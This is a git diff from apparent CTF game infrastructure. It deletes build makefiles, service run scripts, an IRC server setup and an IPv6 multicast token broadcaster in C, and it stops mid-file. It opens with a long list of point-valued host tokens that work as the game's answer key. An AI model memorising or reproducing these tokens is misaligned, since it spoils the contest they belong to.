-host:300:xinen-lenab-syfox -host:400:xidos-nekuh-davyx -host:500:xuveb-cofot-lovox -host:600:xuciz-cedyp-pigex -host:700:xutel-tugof-zyfyx -host:800:xirik-seguc-fykux -host:900:xumod-zador-gelux -host:1000:xodom-vylah-kovex -host:100:xogab-hamed-sugux -host:200:xufof-sygib-davux -host:300:ximom-hyhez-ficax -host:400:xezaz-gukop-gytox -host:500:xomog-pyfik-vanax -host:600:ximog-repud-selox -host:700:xidov-meheh-zakax -host:800:xupic-lagus-kybux -host:900:xocof-zacop-ruhix -host:1000:xutap-dyleh-fufox -host:100:xuhef-bivad-sazux -host:200:xudop-cykic-lapix -host:300:xovit-gizeb-cuhix -host:400:xedor-cules-safox -host:500:xokel-zodyp-vycix -host:600:xufek-zyzem-birex -host:700:xemil-kosaz-negex -host:800:xosat-cohus-pomux -host:900:xotip-losof-vykux -host:1000:xukon-hoked-difix -host:100:xicac-hypib-zazex -host:200:ximob-gotoz-bydyx -host:300:xilah-lavof-gyhyx -host:400:xumab-liles-momyx -host:500:xenep-zofop-dafix -host:600:xogem-dumid-tamax -host:700:xodev-togyb-zinax -host:800:xobem-mivor-kusix -host:900:xulim-mupem-fytox -host:1000:xugav-tezup-hymex -host:100:xolid-pudev-dikux -host:200:xinih-gegit-fomyx -host:300:ximoh-talif-dunax -host:400:xokoc-vezos-fuhax -host:500:xenih-nesog-kahux -host:600:xidom-megym-milix -host:700:xonam-folah-gepyx -host:800:xikak-cafac-konyx -host:900:xolep-valuf-kamax -host:1000:xitap-megit-bekax -host:100:xofab-lytac-kafux -host:200:xitec-focon-kokox -host:300:xezeb-kazun-bohox -host:400:xukod-basys-bezox -host:500:xefoc-luryb-dalyx -host:600:xinoz-fybad-lahux -host:700:xugos-gedor-mokox -host:800:xusib-fydup-busox -host:900:xovat-pibam-guzix -host:1000:xiver-giteg-pygex -host:100:xudel-mifol-zikox -host:200:xefem-dykub-danex -host:300:xirov-lyfip-vadex -host:400:xomit-matug-papix -host:500:xekit-denot-nylex -host:600:xitas-rozuf-rikax -host:700:xefov-samyt-lilux -host:800:xobek-gidip-gylux -host:900:xolep-venyv-gabax -host:1000:ximon-rirer-syvux -host:100:xizon-kanod-hycyx -host:200:xocir-mekin-kubyx -host:300:xiveb-banev-hufox -host:400:xurag-fimas-mahox -host:500:xilet-mudol-lyvox -host:600:xefil-vivik-gytix -host:700:xizib-funyz-bepyx -host:800:xepec-fapyn-pypix -host:900:xipih-gynep-libex -host:1000:ximib-vakuk-gizax -host:100:xipov-garus-fehax -host:200:xucep-hukic-fuhex -host:300:xipot-kygel-vyzax -host:400:xomac-liket-domix -host:500:xetas-nalag-vatix -host:600:xelos-sehaz-vupyx -host:700:xuled-gylef-folex -host:800:xupol-niren-sahex -host:900:xotiv-lynek-gapox -host:1000:xuter-tobin-dabix -host:100:ximid-foder-mibex -host:200:xokon-carog-kotex -host:300:xifaz-kygan-devox -host:400:xubib-lusem-tulyx -host:500:xumig-vumur-cagyx -host:600:xibat-socet-kadex -host:700:xeciv-gekod-tovax -host:800:xifar-bygyl-tagex -host:900:xovas-vecak-tigix -host:1000:xusat-tenan-bynix -host:100:xufad-cucyn-serax -host:200:xosiv-pukul-sulux -host:300:xodif-gyzis-hupex -host:400:xudad-nalod-nahex -host:500:xizep-cutih-zumyx -host:600:xisag-palyz-zehax -host:700:xedar-nobam-rocyx -host:800:xigeh-pomon-zucux -host:900:xesaf-vunuc-cocyx -host:1000:xired-varor-honox -host:100:xibed-curuc-mokax -host:200:xerah-gurez-dupix -host:300:xegor-fyraf-cizux -host:400:xidav-bedob-kuhyx -host:500:xicem-cydis-mufix -host:600:xulac-vofuh-sytyx -host:700:xovir-cociv-rudox -host:800:xehos-dapif-vurax -host:900:xigod-rizyk-kebax -host:1000:xonon-zoboh-farax -host:100:xobas-gidyt-burox -host:200:xotap-vibyd-fefix -host:300:xoviz-nivit-kymox -host:400:xelaz-lamiv-rurix -host:500:xezig-lazer-hefyx -host:600:xelor-bogeh-nocux -host:700:xulof-saref-gehix -host:800:xeneh-degub-tynax -host:900:xogof-sisib-tyhyx -host:1000:xubol-pynyp-hodax -host:100:xelir-likep-gulex -host:200:xiboh-kodab-nykax -host:300:xodat-tyhas-mysyx -host:400:xevis-surac-dybex -host:500:xugom-tutih-suhix -host:600:xomit-vyvyl-bypex -host:700:xozaz-vydyk-cacax -host:800:xulih-pizes-kemax -host:900:xetop-timad-ladyx -host:1000:xerar-cafad-fipex -host:100:xezer-tuvon-rabox -host:200:xicab-torut-zesux -host:300:xizar-zonob-cazix -host:400:xezes-sifub-rubax -host:500:xezit-digep-vilax -host:600:xuhad-popun-muhux -host:700:xotos-darer-vyrix -host:800:xepic-bykev-kadox -host:900:xodoh-zamul-migax -host:1000:xoviv-pefyp-febyx -host:100:xohil-zifec-sydyx -host:200:xizid-zegis-vyvux -host:300:xupit-nihyb-mevax -host:400:xoboz-velen-guzax -host:500:xomah-ponyf-puhyx -host:600:xiril-hysan-retix -host:700:xirep-cevyr-tonex -host:800:xihab-racez-lihex -host:900:xudis-fazib-zolax -host:1000:xureb-nemoh-kivox -host:100:xocon-daniv-hysix -host:200:xitel-likip-kibyx -host:300:xetik-nokyb-tasox -host:400:xepoz-gasoz-mypax -host:500:xotet-dedos-sorix -host:600:xelez-hynum-nesux -host:700:xiron-dyhef-mohix -host:800:xunib-marig-kycox -host:900:xedav-dybel-danox -host:1000:xideb-nolub-gocux -host:100:xefon-rogoh-kizux -host:200:xuzel-pofyp-sotix -host:300:xihoh-mamyr-luzex -host:400:xobel-rapof-kymax -host:500:xehaz-lysez-zyvux -host:600:xuhos-tilac-cesax -host:700:xetin-fofap-cuzox -host:800:xitih-gyhyv-docex -host:900:xikal-kitop-zygox -host:1000:xezot-fycuv-zakex -host:100:xizas-basoc-kinux -host:200:xodos-gyluv-dudyx -host:300:xilib-dyryb-cukyx -host:400:xucev-nypif-zamox -host:500:ximiz-susec-gobex -host:600:xokic-febac-tasex -host:700:xuzis-kofih-zulyx -host:800:xekek-gygyf-nonox -host:900:xebof-huvof-syvix -host:1000:xufiv-syhas-bytex -host:100:xelap-sihic-kavex -host:200:xubah-pycec-nucax -host:300:xerik-vamos-tenax -host:400:xegon-kozos-barix -host:500:xihoz-nafeh-cynix -host:600:xokoc-fizyd-vinax -host:700:xemiz-batyk-vesix -host:800:xoren-tytop-dobex -host:900:xuzav-tufuz-kovax -host:1000:xizot-taven-rukix -host:100:xubis-bemur-kocyx -host:200:xizor-sizes-nigax -host:300:xicof-tyvud-cisox -host:400:xisof-vylip-sogyx -host:500:xevop-geris-fukyx -host:600:xezef-cufor-lohux -host:700:xinod-rofig-tesux -host:800:xokiv-zofep-sofux -host:900:xopal-bofet-nidix -host:1000:xizen-byvyn-zymyx -host:100:xutob-mopiz-cesyx -host:200:xilis-pifir-bovox -host:300:xufoc-cuvyv-rupax -host:400:xirif-nepef-silox -host:500:xetoz-doduh-nedyx -host:600:xefoh-pufod-tytux -host:700:xelit-pupik-gylux -host:800:xosad-nedol-mecax -host:900:xinit-hytan-ledux -host:1000:xizom-dymus-zisox -host:100:xopap-pumat-cugyx -host:200:xibed-kozid-bihox -host:300:xizos-lefyf-sypux -host:400:xinib-ratib-runix -host:500:xonev-tymeg-lihyx -host:600:xeham-zasig-mozux -host:700:xumoh-nahyz-begix -host:800:xufar-kohym-bykyx -host:900:xinil-humel-dutux -host:1000:xefeg-decur-kazyx -host:100:xupen-nebel-cecox -host:200:xudav-cuvuh-mavex -host:300:xohan-facel-putox -host:400:xurom-tomug-bulax -host:500:xicah-mycet-totax -host:600:xucag-fytal-hopux -host:700:xudek-nahet-bomex -host:800:xubas-fogam-nelix -host:900:xevem-dadeg-revux -host:1000:xocac-namuc-locux -host:100:xezov-gybez-bosox -host:200:xihev-cagaf-gakyx -host:300:xopor-cyhul-guvux -host:400:xuzem-cunaz-zydix -host:500:xogin-bilad-gulix -host:600:xigab-buzed-sytix -host:700:xuvon-zorys-fapix -host:800:xusof-bygap-nymax -host:900:xokic-bimyg-dutux -host:1000:xinez-hynyh-tegex -host:100:xumec-culor-racix -host:200:xobis-rogoc-sihux -host:300:xideg-sanud-denox -host:400:xerig-vytut-zutox -host:500:xicad-dykom-vimax -host:600:xedad-perig-fycux -host:700:xotig-dotil-vevox -host:800:xetim-tyhoc-fidox -host:900:xuzip-bymyb-vehix -host:1000:xohil-kuhuc-comyx -host:100:xocat-cuhaz-suhyx -host:200:xunas-tazuh-rytyx -host:300:xucab-melih-ginix -host:400:xicig-sumik-lynox -host:500:xikag-dosed-muvix -host:600:xifab-hytim-sagix -host:700:xobor-hypor-suhox -host:800:xosos-hysor-tapux -host:900:xotih-nahis-sutex -host:1000:xocas-voboc-bevyx -host:100:xunod-mopol-sugex -host:200:xosan-sipuh-dizyx -host:300:xirak-cesad-kuzox -host:400:xudin-nocem-minux -host:500:xolen-zogim-fyhux -host:600:xipot-pazaz-vurux -host:700:xesad-tudah-kopix -host:800:xomam-simis-gutex -host:900:xevos-hoteh-pymox -host:1000:xodab-hofak-celyx -host:100:xuboh-kegim-kubyx -host:200:xolad-zekam-puzex -host:300:xudiv-bigyh-subax -host:400:xemek-kupiv-tibix -host:500:xufoc-lumil-namix -host:600:xegef-hynyf-novox -host:700:xetev-vokig-covux -host:800:xisic-gicev-pozyx -host:900:xofag-fysum-rivex -host:1000:xesok-kofyc-fyhax diff --git a/packages/inferno/inferno.mk b/packages/inferno/inferno.mk deleted file mode 100644 index e32a3dd..0000000 --- a/packages/inferno/inferno.mk +++ /dev/null @@ -1,18 +0,0 @@ -INFERNO_PKGDIR = $(TARGET)/inferno -INFERNO_BUILDDIR = $(BUILD)/inferno - -inferno-source: - -inferno-build: - -inferno-install: eris - mkdir -p $(INFERNO_PKGDIR)/bin - - cp $(ERIS_BIN) $(INFERNO_PKGDIR)/bin/ - - $(call COPYTREE, packages/inferno/service, $(INFERNO_PKGDIR)/service) - -inferno-clean: - rm -rf $(INFERNO_PKGDIR) $(INFERNO_BUILDDIR) - -PACKAGES += inferno diff --git a/packages/inferno/service/httpd/log/run b/packages/inferno/service/httpd/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/inferno/service/httpd/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/inferno/service/httpd/run b/packages/inferno/service/httpd/run deleted file mode 100755 index 1515761..0000000 --- a/packages/inferno/service/httpd/run +++ /dev/null @@ -1,7 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -cd $PACKAGES/www -exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d. - diff --git a/packages/inferno/service/inferno/log/run b/packages/inferno/service/inferno/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/inferno/service/inferno/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/inferno/service/inferno/run b/packages/inferno/service/inferno/run deleted file mode 100755 index e926337..0000000 --- a/packages/inferno/service/inferno/run +++ /dev/null @@ -1,12 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -mkdir -p /mnt/inferno -fgrep -q /mnt/inferno /proc/mounts || mount -o ro LABEL=inferno /mnt/inferno -test -e /var/www || ln -s /mnt/inferno /var/www - -ip addr add 10.0.0.2/24 dev eth0 -ip link set dev eth0 up - -exec inotifyd true $PWD diff --git a/packages/inferno/service/sshd/log/run b/packages/inferno/service/sshd/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/inferno/service/sshd/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/inferno/service/sshd/rsa.key b/packages/inferno/service/sshd/rsa.key deleted file mode 100644 index 6c75997..0000000 Binary files a/packages/inferno/service/sshd/rsa.key and /dev/null differ diff --git a/packages/inferno/service/sshd/run b/packages/inferno/service/sshd/run deleted file mode 100755 index e60e68b..0000000 --- a/packages/inferno/service/sshd/run +++ /dev/null @@ -1,4 +0,0 @@ -#! /bin/sh - -exec 2>&1 -exec dropbear -r ./rsa.key -E -F diff --git a/packages/ircd/ircd.mk b/packages/ircd/ircd.mk deleted file mode 100644 index 285f3fe..0000000 --- a/packages/ircd/ircd.mk +++ /dev/null @@ -1,38 +0,0 @@ -IRCD_PKGDIR = $(TARGET)/ircd -IRCD_BUILDDIR = $(BUILD)/ircd -IRCD_VERSION = 19.1 -IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz -IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz -IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION) - -# Prevents automake from mangling cross-compiled binary names -IRCD_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}') - -ircd-install: ircd-build - -$(IRCD_TAR): - @ mkdir -p $(@D) - wget -O $@ $(IRCD_URL) - -ircd-source: $(IRCD_BUILDDIR)/source -$(IRCD_BUILDDIR)/source: $(IRCD_TAR) - mkdir -p $(IRCD_BUILDDIR) - zcat $(IRCD_TAR) | (cd $(IRCD_BUILDDIR) && tar xf -) - touch $@ - -ircd-build: $(IRCD_BUILDDIR)/built -$(IRCD_BUILDDIR)/built: $(IRCD_BUILDDIR)/source - cd $(IRCD_SRCDIR) && ./configure $(CONFIG_XCOMPILE_FLAGS) --enable-ipv6 - $(MAKE) -C $(IRCD_SRCDIR) - touch $@ - -ircd-install: ircd-build - mkdir -p $(IRCD_PKGDIR)/bin - cp $(IRCD_SRCDIR)/src/ngircd/ngircd $(IRCD_PKGDIR)/bin - - $(call COPYTREE, packages/ircd/service, $(IRCD_PKGDIR)/service) - -ircd-clean: - rm -rf $(IRCD_BUILDDIR) - -PACKAGES += ircd diff --git a/packages/ircd/service/ircd/finish b/packages/ircd/service/ircd/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/ircd/service/ircd/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/ircd/service/ircd/ip.txt b/packages/ircd/service/ircd/ip.txt deleted file mode 100644 index 1e8b314..0000000 --- a/packages/ircd/service/ircd/ip.txt +++ /dev/null @@ -1 +0,0 @@ -6 diff --git a/packages/ircd/service/ircd/log/run b/packages/ircd/service/ircd/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/ircd/service/ircd/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/ircd/service/ircd/run b/packages/ircd/service/ircd/run deleted file mode 100755 index 25ab064..0000000 --- a/packages/ircd/service/ircd/run +++ /dev/null @@ -1,34 +0,0 @@ -#! /bin/sh - -exec 2>&1 - -IP=$(dbip -a) - -adduser -S -H -u 65534 nobody -adduser -S -H irc - -operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1) - -cat <ngircd.conf -[Global] - Name = irc.ctf - Info = CTF IRC - AdminInfo1 = CTF IRC Server - AdminInfo2 = The table at the front of the room - AdminEmail = zephyr@dirtbags.net - MotdPhrase = "welcome datacomp" - Listen = ${IP%/*} - ServerUID = 101 - ServerGID = 65534 - -[Options] - OperCanUseMode = yes - DNS = no - Ident = no - -[Operator] - Name = oper - Password = $operpass -EOD - -exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon diff --git a/packages/libcap/libcap.mk b/packages/libcap/libcap.mk deleted file mode 100644 index 92f6ee1..0000000 --- a/packages/libcap/libcap.mk +++ /dev/null @@ -1,28 +0,0 @@ -LIBCAP_PKGDIR = $(TARGET)/libcap -LIBCAP_BUILDDIR = $(BUILD)/libcap -LIBCAP_VERSION = 2.22 -LIBCAP_TAR = $(CACHE)/libcap-$(LIBCAP_VERSION).tar.gz -# XXX: kernel.org was down when I wrote this, but is the canonical source -LIBCAP_URL = http://ftp.debian.org/debian/pool/main/libc/libcap2/libcap2_$(LIBCAP_VERSION).orig.tar.gz -LIBCAP_SRCDIR = $(LIBCAP_BUILDDIR)/libcap-$(LIBCAP_VERSION) - -LIBCAP_LDFLAGS = -L$(CURDIR)/$(LIBCAP_SRCDIR)/libcap -LIBCAP_CFLAGS = -I$(CURDIR)/$(LIBCAP_SRCDIR)/libcap/include - -$(LIBCAP_TAR): - mkdir -p $(@D) - wget -O $@ $(LIBCAP_URL) - -libcap-source: $(LIBCAP_BUILDDIR)/source -$(LIBCAP_BUILDDIR)/source: $(LIBCAP_TAR) - mkdir -p $(@D) - zcat $< | ( cd $(@D) && tar xf -) - touch $@ - - -# This library's build sort of blows. -libcap-build: $(LIBCAP_BUILDDIR)/built -$(LIBCAP_BUILDDIR)/built: $(LIBCAP_BUILDDIR)/source - $(MAKE) -C $(LIBCAP_SRCDIR)/libcap _makenames - $(MAKE) -C $(LIBCAP_SRCDIR) CC=$(CC) - touch $@ diff --git a/packages/lxc/lxc.mk b/packages/lxc/lxc.mk deleted file mode 100644 index c9816e8..0000000 --- a/packages/lxc/lxc.mk +++ /dev/null @@ -1,52 +0,0 @@ -LXC_PKGDIR = $(TARGET)/lxc -LXC_BUILDDIR = $(BUILD)/lxc -LXC_VERSION = 0.7.5 -LXC_TAR = $(CACHE)/lxc-$(LXC_VERSION).tar.gz -LXC_URL = http://lxc.sourceforge.net/download/lxc/lxc-$(LXC_VERSION).tar.gz -LXC_SRCDIR = $(LXC_BUILDDIR)/lxc-$(LXC_VERSION) - -LXC_COMMANDS = attach cgroup checkpoint console execute freeze -LXC_COMMANDS += info init kill monitor restart start stop -LXC_COMMANDS += unfreeze unshare wait - -LXC_PROGRAMS = $(addprefix $(LXC_SRCDIR)/src/lxc/lxc-, $(LXC_COMMANDS)) - - -# Prevents automake from mangling cross-compiled binary names -LXC_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}') -LXC_CONF_OPT := --host=i386-unknown-linux-uclibc --program-transform-name= - -lxc-install: lxc-build - -$(LXC_TAR): - @ mkdir -p $(@D) - wget -O $@ $(LXC_URL) - -lxc-source: $(LXC_BUILDDIR)/source -$(LXC_BUILDDIR)/source: $(LXC_TAR) - mkdir -p $(LXC_BUILDDIR) - zcat $(LXC_TAR) | (cd $(LXC_BUILDDIR) && tar xf -) - cp packages/lxc/utmp.c $(LXC_SRCDIR)/src/lxc/ - touch $@ - -lxc-build: $(LXC_BUILDDIR)/built -$(LXC_BUILDDIR)/built: $(LXC_BUILDDIR)/source libcap-build - cd $(LXC_SRCDIR) && CFLAGS="$(LIBCAP_CFLAGS)" LDFLAGS="$(LIBCAP_LDFLAGS) -Xlinker -rpath -Xlinker /opt/lxc/lib" ./configure $(CONFIG_XCOMPILE_FLAGS) - $(MAKE) -C $(LXC_SRCDIR) - touch $@ - -lxc-install: lxc-build - mkdir -p $(LXC_PKGDIR)/lib - cp $(LXC_SRCDIR)/src/lxc/liblxc.so $(LXC_PKGDIR)/lib/liblxc.so.0 - cp $(LIBCAP_SRCDIR)/libcap/libcap.so.* $(LXC_PKGDIR)/lib - - mkdir -p $(LXC_PKGDIR)/bin - cp $(LXC_PROGRAMS) $(LXC_PKGDIR)/bin - -# $(call COPYTREE, packages/lxc/service, $(LXC_PKGDIR)/service) - -lxc-clean: - rm -rf $(LXC_BUILDDIR) - - -LIBCAP_PKGDIR = $(TARGET)/libcap diff --git a/packages/lxc/utmp.c b/packages/lxc/utmp.c deleted file mode 100644 index 5b51ba2..0000000 --- a/packages/lxc/utmp.c +++ /dev/null @@ -1,11 +0,0 @@ -/* Detecting runlevels from utmp is straight up bullshit, you. - - 1. runit doesn't have run levels - 2. dbtl doesn't write utmp - 3. even if it did, it doesn't have the glibc functions this code - wants -*/ -int lxc_utmp_mainloop_add(struct lxc_epoll_descr *descr, - struct lxc_handler *handler) { - return 0; -} diff --git a/packages/mkanswer b/packages/mkanswer index 3a4bd37..5c6a279 100755 --- a/packages/mkanswer +++ b/packages/mkanswer @@ -1,6 +1,6 @@ #! /bin/sh -shuf -n 2 /usr/share/dict/words | while read word; do +grep -v "'" /usr/share/dict/words | shuf -n 2 | while read word; do echo -n "$word " done -echo \ No newline at end of file +echo diff --git a/packages/multicaster/multicaster.mk b/packages/multicaster/multicaster.mk deleted file mode 100644 index 9e7fed6..0000000 --- a/packages/multicaster/multicaster.mk +++ /dev/null @@ -1,19 +0,0 @@ -MULTICASTER_PKGDIR = $(TARGET)/multicaster - -multicaster-install: multicaster-build - mkdir -p $(MULTICASTER_PKGDIR) - cp packages/multicaster/tokens.txt $(MULTICASTER_PKGDIR) - - $(call COPYTREE, packages/multicaster/service, $(MULTICASTER_PKGDIR)/service) - - mkdir -p $(MULTICASTER_PKGDIR)/bin/ - $(MAKE) -C packages/multicaster/src install DESTDIR=$(CURDIR)/$(MULTICASTER_PKGDIR) - -multicaster-clean: - rm -rf $(MULTICASTER_PKGDIR) - $(MAKE) -C packages/multicaster/src clean - -multicaster-build: - $(MAKE) -C packages/multicaster/src build - -PACKAGES += multicaster diff --git a/packages/multicaster/service/multicaster/finish b/packages/multicaster/service/multicaster/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/multicaster/service/multicaster/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/multicaster/service/multicaster/ip.txt b/packages/multicaster/service/multicaster/ip.txt deleted file mode 100644 index 98d9bcb..0000000 --- a/packages/multicaster/service/multicaster/ip.txt +++ /dev/null @@ -1 +0,0 @@ -17 diff --git a/packages/multicaster/service/multicaster/log/run b/packages/multicaster/service/multicaster/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/multicaster/service/multicaster/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/multicaster/service/multicaster/run b/packages/multicaster/service/multicaster/run deleted file mode 100755 index 0ed554b..0000000 --- a/packages/multicaster/service/multicaster/run +++ /dev/null @@ -1,7 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec setuidgid ctf $CTF_BASE/packages/multicaster/bin/multicaster ff15::62c 1580 <$CTF_BASE/packages/multicaster/tokens.txt diff --git a/packages/multicaster/src/Makefile b/packages/multicaster/src/Makefile deleted file mode 100644 index c5faabb..0000000 --- a/packages/multicaster/src/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -CFLAGS = -Wall -Werror -TARGETS = multicaster - -all: build -build: $(TARGETS) - -install: $(TARGETS) - install -m 0755 $(TARGETS) $(DESTDIR)/bin - -clean: - rm -f *.o $(TARGETS) diff --git a/packages/multicaster/src/multicaster-client.c b/packages/multicaster/src/multicaster-client.c deleted file mode 100644 index a2bf4ef..0000000 --- a/packages/multicaster/src/multicaster-client.c +++ /dev/null @@ -1,121 +0,0 @@ -/* multicast_client.c - * Adopted from tmouse's client/server example code - * found at http://cboard.cprogramming.com/showthread.php?t=67469 - */ - -#include -#include -#include -#include /* for printf() and fprintf() */ -#include /* for atoi() and exit() */ -#include /* for memset() */ -#include /* for timestamps */ -#include - -void DieWithError(const char* errorMessage) -{ - fprintf(stderr, "%s\n", errorMessage); - exit(10); -} - -int main(int argc, char* argv[]) -{ - int sock; /* Socket */ - char* multicastIP; /* Arg: IP Multicast Address */ - char* multicastPort; /* Arg: Port */ - struct addrinfo * multicastAddr = {0}; /* Multicast Address */ - struct addrinfo * localAddr; /* Local address to bind to */ - struct addrinfo hints = { 0 }; /* Hints for name lookup */ - - if ( argc != 3 ) - { - fprintf(stderr,"Usage: %s \n", argv[0]); - exit(10); - } - - multicastIP = argv[1]; /* First arg: Multicast IP address */ - multicastPort = argv[2]; /* Second arg: Multicast port */ - - /* Resolve the multicast group address */ - hints.ai_family = PF_INET6; - hints.ai_flags = AI_NUMERICHOST; - if ( getaddrinfo(multicastIP, NULL, &hints, &multicastAddr) != 0 ) DieWithError("getaddrinfo() failed"); - - /* Get a local address with the same family as our multicast group */ - hints.ai_family = multicastAddr->ai_family; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_PASSIVE; /* Return an address we can bind to */ - if ( getaddrinfo(NULL, multicastPort, &hints, &localAddr) != 0 ) - { - DieWithError("getaddrinfo() failed"); - } - - /* Create socket for receiving datagrams */ - if ( (sock = socket(localAddr->ai_family, localAddr->ai_socktype, 0)) == -1 ) - { - DieWithError("socket() failed"); - } - - const int trueValue = 1; - setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const void *) &trueValue, sizeof(trueValue)); -#ifdef __APPLE__ - setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (const void *) &trueValue, sizeof(trueValue)); -#endif - - /* Bind to the multicast port */ - if ( bind(sock, localAddr->ai_addr, localAddr->ai_addrlen) != 0 ) - { - DieWithError("bind() failed"); - } - - /* Join the multicast group. */ - if ((multicastAddr->ai_family == PF_INET6)&&(multicastAddr->ai_addrlen == sizeof(struct sockaddr_in6))) - { - struct sockaddr_in6 *addr = (struct sockaddr_in6 *)(multicastAddr->ai_addr); - struct ipv6_mreq multicastRequest; /* Multicast address join structure */ - - /* Specify the multicast group */ - memcpy(&multicastRequest.ipv6mr_multiaddr, &((struct sockaddr_in6*)(multicastAddr->ai_addr))->sin6_addr, sizeof(multicastRequest.ipv6mr_multiaddr)); - - printf("scope_id: %d\n", addr->sin6_scope_id); - - /* Accept multicast from any interface */ - multicastRequest.ipv6mr_interface = addr->sin6_scope_id; - - /* Join the multicast address */ - if ( setsockopt(sock, IPPROTO_IPV6, IPV6_JOIN_GROUP, (char*) &multicastRequest, sizeof(multicastRequest)) != 0 ) DieWithError("setsockopt(IPV6_JOIN_GROUP) failed"); - } - else DieWithError("Not IPv6"); - - freeaddrinfo(localAddr); - freeaddrinfo(multicastAddr); - - for (;;) /* Run forever */ - { - char recvString[500]; /* Buffer for received string */ - int recvStringLen; /* Length of received string */ - struct sockaddr_in6 from; - socklen_t fromlen = sizeof(from); - char sendString[] = "Token: banana\n"; - char errorString[] = "That is not correct! Try again!\n"; - - /* Receive a single datagram from the server */ - if ((recvStringLen = recvfrom(sock, recvString, sizeof(recvString) - 1, 0, (struct sockaddr *)&from, &fromlen)) < 0) DieWithError("recvfrom() failed"); - recvString[recvStringLen] = '\0'; - if(strcmp(recvString, "hello")==0) { - printf("Correct!!\n"); - // printf("Token: banana\n"); - sendto(sock, sendString, sizeof(sendString) - 1, 0, (struct sockaddr *)&from, fromlen); - } else { - // printf("That isn't correct! Try again!\n"); - sendto(sock, errorString, sizeof(errorString) - 1, 0, (struct sockaddr *)&from, fromlen); - } - - /* Print the received string */ - printf("Received string [%s]\n", recvString); - } - - /* NOT REACHED */ - close(sock); - exit(EXIT_SUCCESS); -} diff --git a/packages/multicaster/src/multicaster-server.c b/packages/multicaster/src/multicaster-server.c deleted file mode 100644 index 830ec3b..0000000 --- a/packages/multicaster/src/multicaster-server.c +++ /dev/null @@ -1,71 +0,0 @@ -/* multicast_server.c - * Adapted from tmouse's IPv6 client/server example code - * found at http://cboard.cprogramming.com/showthread.php?t=67469 - */ - -#include /* for fprintf() */ -#include -#include -#include -#include /* for atoi() and exit() */ -#include -#include - -static void DieWithError(const char* errorMessage) -{ - fprintf(stderr, "%s\n", errorMessage); - exit(10); -} - -int main(int argc, char *argv[]) -{ - int sock; /* Socket */ - char* multicastIP; /* Arg: IP Multicast address */ - char* multicastPort; /* Arg: Server port */ - char* sendString; /* Arg: String to multicast */ - size_t sendStringLen; /* Length of string to multicast */ - struct addrinfo * multicastAddr; /* Multicast address */ - struct addrinfo hints = { 0 }; /* Hints for name lookup */ - - if ( argc != 4 ) - { - fprintf(stderr, "Usage: %s \n", argv[0]); - exit(10); - } - - multicastIP = argv[1]; /* First arg: multicast IP address */ - multicastPort = argv[2]; /* Second arg: multicast port */ - sendString = argv[3]; /* Third arg: String to multicast */ - sendStringLen = strlen(sendString); /* Find length of sendString */ - - /* Resolve destination address for multicast datagrams */ - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - if (getaddrinfo(multicastIP, multicastPort, &hints, &multicastAddr) != 0) DieWithError("getaddrinfo() failed"); - - /* Create socket for sending multicast datagrams */ - if ((sock = socket(multicastAddr->ai_family, multicastAddr->ai_socktype, 0)) == -1) DieWithError("socket() failed"); - - int hops = 5; - if (setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_HOPS, &hops, sizeof(hops)) != 0) DieWithError("setsockopt(MULTICAST_HOPS) failed"); - - for (;;) /* Run forever */ - { - int sendLen = sendto(sock, sendString, sendStringLen, 0, multicastAddr->ai_addr, multicastAddr->ai_addrlen); - if (sendLen == sendStringLen ) - { - printf("Sent [%s] (%i bytes) to %s, port %s\n", sendString, sendLen, multicastIP, multicastPort); - } - else - { - DieWithError("sendto() sent a different number of bytes than expected"); - } - sleep(1); /* Multicast sendString in datagram to clients every second */ - } - - /* NOT REACHED */ - freeaddrinfo(multicastAddr); - close(sock); - return 0; -} diff --git a/packages/multicaster/src/multicaster.c b/packages/multicaster/src/multicaster.c deleted file mode 100644 index 5b62255..0000000 --- a/packages/multicaster/src/multicaster.c +++ /dev/null @@ -1,164 +0,0 @@ -/* multicast_server.c - * Adapted from tmouse's IPv6 client/server example code - * found at http://cboard.cprogramming.com/showthread.php?t=67469 - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -static void -DieWithError(const char* errorMessage) -{ - fprintf(stderr, "%s\n", errorMessage); - exit(1); -} - -int -main(int argc, char *argv[]) -{ - int sender, listener; /* Sockets */ - char* multicastIP; /* Arg: IP Multicast address */ - char* multicastPort; /* Arg: Server port */ - char 